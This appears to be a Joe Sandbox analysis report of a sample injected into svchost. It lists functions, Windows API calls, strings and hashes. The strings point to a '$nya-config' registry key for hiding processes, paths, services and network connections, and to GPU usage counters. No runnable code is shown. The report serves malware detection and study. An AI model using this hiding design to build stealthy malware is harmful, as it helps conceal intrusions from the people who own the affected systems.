Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID:
String ID: $nya-
API String ID: 0-1266920357
Opcode ID: 3efaac12778606dcc95ddaec52b91f85937fb41b3d0fc3d1e7fd65e0d6b9b78d
Instruction ID: 7c511189d8bd023de34a560d2ec103ce2a25d726894c4c52d98c75f0c23c25be
Opcode Fuzzy Hash: 3efaac12778606dcc95ddaec52b91f85937fb41b3d0fc3d1e7fd65e0d6b9b78d
Instruction Fuzzy Hash: BBD05E29F21706ABFBA8AFE1EEE86A26370DB08B04F485032DA0001101DB988D9EC710

Function 0000022F4B8F2EBC Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000022F4B8F302E

Memory Dump Source

Source File: 00000011.00000003.1646195511.0000022F4B8F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_22f4b8f0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: 1a342e552356d2e1af5ce3fa28535de16e2ccce78197f29e3b350a65e4913c9f
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: A191477AF0125097EBA0AF65D608F7EB3A1F744B96F548131AF490778AEA38D853C710

Function 0000022F4B921BC4 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000022F4B921724: GetProcessHeap.KERNEL32 ref: 0000022F4B92172F
Part of subcall function 0000022F4B921724: HeapAlloc.KERNEL32 ref: 0000022F4B92173E
Part of subcall function 0000022F4B921724: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9217AE
Part of subcall function 0000022F4B921724: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9217DB
Part of subcall function 0000022F4B921724: RegCloseKey.ADVAPI32 ref: 0000022F4B9217F5
Part of subcall function 0000022F4B921724: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921815
Part of subcall function 0000022F4B921724: RegCloseKey.ADVAPI32 ref: 0000022F4B921830
Part of subcall function 0000022F4B921724: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921850
Part of subcall function 0000022F4B921724: RegCloseKey.ADVAPI32 ref: 0000022F4B92186B
Part of subcall function 0000022F4B921724: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B92188B
Part of subcall function 0000022F4B921724: RegCloseKey.ADVAPI32 ref: 0000022F4B9218A6
Part of subcall function 0000022F4B921724: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9218C6

SleepEx.KERNELBASE ref: 0000022F4B921BDF

Part of subcall function 0000022F4B921724: RegCloseKey.ADVAPI32 ref: 0000022F4B9218E1
Part of subcall function 0000022F4B921724: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921901
Part of subcall function 0000022F4B921724: RegCloseKey.ADVAPI32 ref: 0000022F4B92191C
Part of subcall function 0000022F4B921724: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B92193C
Part of subcall function 0000022F4B921724: RegCloseKey.ADVAPI32 ref: 0000022F4B921957
Part of subcall function 0000022F4B921724: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921977
Part of subcall function 0000022F4B921724: RegCloseKey.ADVAPI32 ref: 0000022F4B921992
Part of subcall function 0000022F4B921724: RegCloseKey.ADVAPI32 ref: 0000022F4B92199C

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction ID: 3929e908c5efdb50802740529e7f9fb41309619d651063b853838cf7facbc3eb
Opcode Fuzzy Hash: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction Fuzzy Hash: E1319C5DE00665A1FB98BFE7D76936B23B4A744BC0F0458319F0987797DE98C4B0C214

Non-executed Functions

Function 0000022F4B922FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000022F4B923094
lstrlenW.KERNEL32 ref: 0000022F4B9232BE

Part of subcall function 0000022F4B921A30: OpenProcess.KERNEL32 ref: 0000022F4B921A56
Part of subcall function 0000022F4B921A30: K32GetModuleFileNameExW.KERNEL32 ref: 0000022F4B921A74
Part of subcall function 0000022F4B921A30: PathFindFileNameW.SHLWAPI ref: 0000022F4B921A83
Part of subcall function 0000022F4B921A30: lstrlenW.KERNEL32 ref: 0000022F4B921A8F
Part of subcall function 0000022F4B921A30: StrCpyW.SHLWAPI ref: 0000022F4B921AA2
Part of subcall function 0000022F4B921A30: CloseHandle.KERNEL32 ref: 0000022F4B921AB0

GetProcAddress.KERNEL32 ref: 0000022F4B9230A9

Part of subcall function 0000022F4B923F88: StrCmpNIW.KERNELBASE(?,?,?,0000022F4B92272F), ref: 0000022F4B923FA0

StrCmpNIW.SHLWAPI ref: 0000022F4B9230EC
lstrlenW.KERNEL32 ref: 0000022F4B923214

Strings

NtQueryObject, xrefs: 0000022F4B92309F
\Device\Nsi, xrefs: 0000022F4B9230DF
ntdll.dll, xrefs: 0000022F4B92308D

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: 147cdcf82202d8e0471ff3581cefa6d14657757d9480307097532bc8ead48c1b
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: E0B1D429E14690AAFB9CAFA5D62835B63B4F744B84F405436DF0953796DFB8CD40C341

Function 0000022F4B9284B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000022F4B9284CC
RtlCaptureContext.NTDLL ref: 0000022F4B9284F9
RtlLookupFunctionEntry.NTDLL ref: 0000022F4B928513
RtlVirtualUnwind.NTDLL ref: 0000022F4B928554
IsDebuggerPresent.KERNEL32 ref: 0000022F4B9285A8
SetUnhandledExceptionFilter.KERNEL32 ref: 0000022F4B9285C5
UnhandledExceptionFilter.KERNEL32 ref: 0000022F4B9285D0

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: 5eede67ed12d608bc06b41e83df98e201cc61c4a372c92de6e6655074c48d11c
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 1D318176A04B8096EBA4AFA0E8A43DE7370F788744F44443ADB4D47B99EFB8C548C710

Function 0000022F4B92CD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000022F4B92CE0B
RtlLookupFunctionEntry.NTDLL ref: 0000022F4B92CE23
RtlVirtualUnwind.NTDLL ref: 0000022F4B92CE5E
IsDebuggerPresent.KERNEL32 ref: 0000022F4B92CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 0000022F4B92CEA1
UnhandledExceptionFilter.KERNEL32 ref: 0000022F4B92CEAC

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: b9e4fb152665ba47da9891cea323b39acc5666c2d8f9b080be451602521d2c89
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 8F41BB3AA04B80A6EBA0DF64E89439F73B0F788754F500535EB8D46B9ADFB8C555CB00

Function 0000022F4B92DA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 0000022F4B92DB99
FindNextFileW.KERNEL32 ref: 0000022F4B92DCCF
FindClose.KERNEL32 ref: 0000022F4B92DD0F
FindClose.KERNEL32 ref: 0000022F4B92DD3B

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: c7a4973126e1821149b9bb57efd12384a65569e6dc40a33e3ade57d1bdd71235
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: 73A1F72AF0468069FBA4EFB5D6683AF6BB0AB45794F184535DF4427BD6CABCC041E700

Function 0000022F4B921724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B92172F
HeapAlloc.KERNEL32 ref: 0000022F4B92173E

Part of subcall function 0000022F4B921264: GetProcessHeap.KERNEL32 ref: 0000022F4B92126A
Part of subcall function 0000022F4B921264: HeapAlloc.KERNEL32 ref: 0000022F4B921279
Part of subcall function 0000022F4B921264: GetProcessHeap.KERNEL32 ref: 0000022F4B921293
Part of subcall function 0000022F4B921264: HeapAlloc.KERNEL32 ref: 0000022F4B9212A4

Part of subcall function 0000022F4B921000: GetProcessHeap.KERNEL32 ref: 0000022F4B921006
Part of subcall function 0000022F4B921000: HeapAlloc.KERNEL32 ref: 0000022F4B921015
Part of subcall function 0000022F4B921000: GetProcessHeap.KERNEL32 ref: 0000022F4B921028
Part of subcall function 0000022F4B921000: HeapAlloc.KERNEL32 ref: 0000022F4B921037

RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9217AE
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9217DB
RegCloseKey.ADVAPI32 ref: 0000022F4B9217F5
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921815
RegCloseKey.ADVAPI32 ref: 0000022F4B921830
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921850
RegCloseKey.ADVAPI32 ref: 0000022F4B92186B
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B92188B
RegCloseKey.ADVAPI32 ref: 0000022F4B9218A6
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9218C6
RegCloseKey.ADVAPI32 ref: 0000022F4B9218E1
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921901
RegCloseKey.ADVAPI32 ref: 0000022F4B92191C
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B92193C
RegCloseKey.ADVAPI32 ref: 0000022F4B921957
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921977
RegCloseKey.ADVAPI32 ref: 0000022F4B921992
RegCloseKey.ADVAPI32 ref: 0000022F4B92199C

Part of subcall function 0000022F4B9212B8: RegQueryInfoKeyW.ADVAPI32 ref: 0000022F4B921315
Part of subcall function 0000022F4B9212B8: GetProcessHeap.KERNEL32 ref: 0000022F4B921323
Part of subcall function 0000022F4B9212B8: HeapAlloc.KERNEL32 ref: 0000022F4B921334
Part of subcall function 0000022F4B9212B8: RegEnumValueW.ADVAPI32 ref: 0000022F4B921393
Part of subcall function 0000022F4B9212B8: GetProcessHeap.KERNEL32 ref: 0000022F4B9213DB
Part of subcall function 0000022F4B9212B8: HeapAlloc.KERNEL32 ref: 0000022F4B9213E9
Part of subcall function 0000022F4B9212B8: GetProcessHeap.KERNEL32 ref: 0000022F4B921406
Part of subcall function 0000022F4B9212B8: HeapFree.KERNEL32 ref: 0000022F4B921414
Part of subcall function 0000022F4B9212B8: lstrlenW.KERNEL32 ref: 0000022F4B92141D
Part of subcall function 0000022F4B9212B8: GetProcessHeap.KERNEL32 ref: 0000022F4B92142B
Part of subcall function 0000022F4B9212B8: HeapAlloc.KERNEL32 ref: 0000022F4B921439

Strings

tcp_local, xrefs: 0000022F4B9218FA
service_names, xrefs: 0000022F4B9218BF
paths, xrefs: 0000022F4B921884
tcp_remote, xrefs: 0000022F4B921935
SOFTWARE\$nya-config, xrefs: 0000022F4B92178E
startup, xrefs: 0000022F4B9217D1
pid, xrefs: 0000022F4B92180E
udp, xrefs: 0000022F4B921970
process_names, xrefs: 0000022F4B921849

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: 166e6a7cf8ca6ae22d1d2167cc4d7dbb97e4619db1cdf95cc15371901a208e22
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: 0F71302AB10E50A6EB90AFE5E9A865A2374FB49B88F402531DF4D4372ADF79C464C340

Function 0000022F4B9212B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000022F4B921315
GetProcessHeap.KERNEL32 ref: 0000022F4B921323
HeapAlloc.KERNEL32 ref: 0000022F4B921334
RegEnumValueW.ADVAPI32 ref: 0000022F4B921393

Part of subcall function 0000022F4B921530: StrCmpIW.SHLWAPI ref: 0000022F4B921561

GetProcessHeap.KERNEL32 ref: 0000022F4B9213DB
HeapAlloc.KERNEL32 ref: 0000022F4B9213E9
GetProcessHeap.KERNEL32 ref: 0000022F4B921406
HeapFree.KERNEL32 ref: 0000022F4B921414
lstrlenW.KERNEL32 ref: 0000022F4B92141D
GetProcessHeap.KERNEL32 ref: 0000022F4B92142B
HeapAlloc.KERNEL32 ref: 0000022F4B921439
StrCpyW.SHLWAPI ref: 0000022F4B92145B
GetProcessHeap.KERNEL32 ref: 0000022F4B921472
HeapFree.KERNEL32 ref: 0000022F4B921480

Strings

d, xrefs: 0000022F4B921356

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: 5fd594a0b7fa2e6d6a870a4b8be9315c5f609ef8c5858b0e1febb8391929093b
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 99515A36A00B84A6EBA4EFA2E66835A77B1F78CB88F448134DB4947719DF7CC459C700

Function 0000022F4B92EF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,0000022F4B92F34A,?,?,00000000,0000022F4B92F2CD), ref: 0000022F4B92EFF5
GetLastError.KERNEL32(?,?,00000000,0000022F4B92F2CD), ref: 0000022F4B92F007
LoadLibraryExW.KERNEL32(?,?,00000000,0000022F4B92F2CD), ref: 0000022F4B92F049
VirtualProtect.KERNEL32 ref: 0000022F4B92F0A5
VirtualProtect.KERNEL32 ref: 0000022F4B92F0D6
FreeLibrary.KERNEL32(?,?,00000000,0000022F4B92F2CD), ref: 0000022F4B92F11A
GetProcAddress.KERNEL32(?,?,00000000,0000022F4B92F2CD), ref: 0000022F4B92F126

Strings

api-ms-, xrefs: 0000022F4B92F01B
ext-ms-, xrefs: 0000022F4B92F02E
AppPolicyGetProcessTerminationMethod, xrefs: 0000022F4B92F157, 0000022F4B92F165

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 667aa4a931bf1db41e538e731fbbbe72ea80eb3c72d69248ee73dd534c18d3f0
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 59519029F0160461FA98AF96EA687A73270AB49BB0F584B349F3D473D2DBBCC445C740

Function 0000022F4B9233A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 0000022F4B9233FD
GetProcessHeap.KERNEL32 ref: 0000022F4B923412
HeapAlloc.KERNEL32 ref: 0000022F4B923420
PdhGetCounterInfoW.PDH ref: 0000022F4B923436
StrCmpW.SHLWAPI ref: 0000022F4B92344B

Part of subcall function 0000022F4B923950: StrCmpNW.SHLWAPI ref: 0000022F4B923972
Part of subcall function 0000022F4B923950: StrStrW.SHLWAPI ref: 0000022F4B923990
Part of subcall function 0000022F4B923950: StrToIntW.SHLWAPI ref: 0000022F4B9239B7

GetProcessHeap.KERNEL32 ref: 0000022F4B923488
HeapFree.KERNEL32 ref: 0000022F4B923496

Strings

\GPU Engine(*)\Running Time, xrefs: 0000022F4B923444

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 54bb57bfbac15d22c730a9ae4bf4d5dcc13813a5c375ca13860c46240ad27539
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: 6631B326E04A40AAFBA5EF92EA1835BA3B0F78CBC5F4445349F4943626DFBCC555C340

Function 0000022F4B9234B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 0000022F4B923516
GetProcessHeap.KERNEL32 ref: 0000022F4B923527
HeapAlloc.KERNEL32 ref: 0000022F4B923535
PdhGetCounterInfoW.PDH ref: 0000022F4B92354B
StrCmpW.SHLWAPI ref: 0000022F4B923560

Part of subcall function 0000022F4B923950: StrCmpNW.SHLWAPI ref: 0000022F4B923972
Part of subcall function 0000022F4B923950: StrStrW.SHLWAPI ref: 0000022F4B923990
Part of subcall function 0000022F4B923950: StrToIntW.SHLWAPI ref: 0000022F4B9239B7

GetProcessHeap.KERNEL32 ref: 0000022F4B92358D
HeapFree.KERNEL32 ref: 0000022F4B92359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 0000022F4B923559

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 65eec3c7316b9ca877189915c2b978696c90943607defc846abed2c99c45d4dd
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: B6319129E14B01AAF794EF92EA68B1A63B0F788F84F0455359F4E43726DFB8C845C300

Function 0000022F4B8F962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000022F4B8F9689

Part of subcall function 0000022F4B8FA544: __GetUnwindTryBlock.LIBCMT ref: 0000022F4B8FA587
Part of subcall function 0000022F4B8FA544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000022F4B8FA5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000022F4B8F9761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000022F4B8F99AF
std::bad_alloc::bad_alloc.LIBCMT ref: 0000022F4B8F9ABC

Strings

csm, xrefs: 0000022F4B8F96A3
csm, xrefs: 0000022F4B8F970A
csm, xrefs: 0000022F4B8F9784

Memory Dump Source

Source File: 00000011.00000003.1646195511.0000022F4B8F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_22f4b8f0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: 350ed3b2226708ae4edfa82662d5c9b4d7a5033190cc26238961e0a1e2b44f09
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: AED1AF3AA00744A6EBA0EFA5D58879E77B0F755799F100135EF8957B9BEB74C082C700

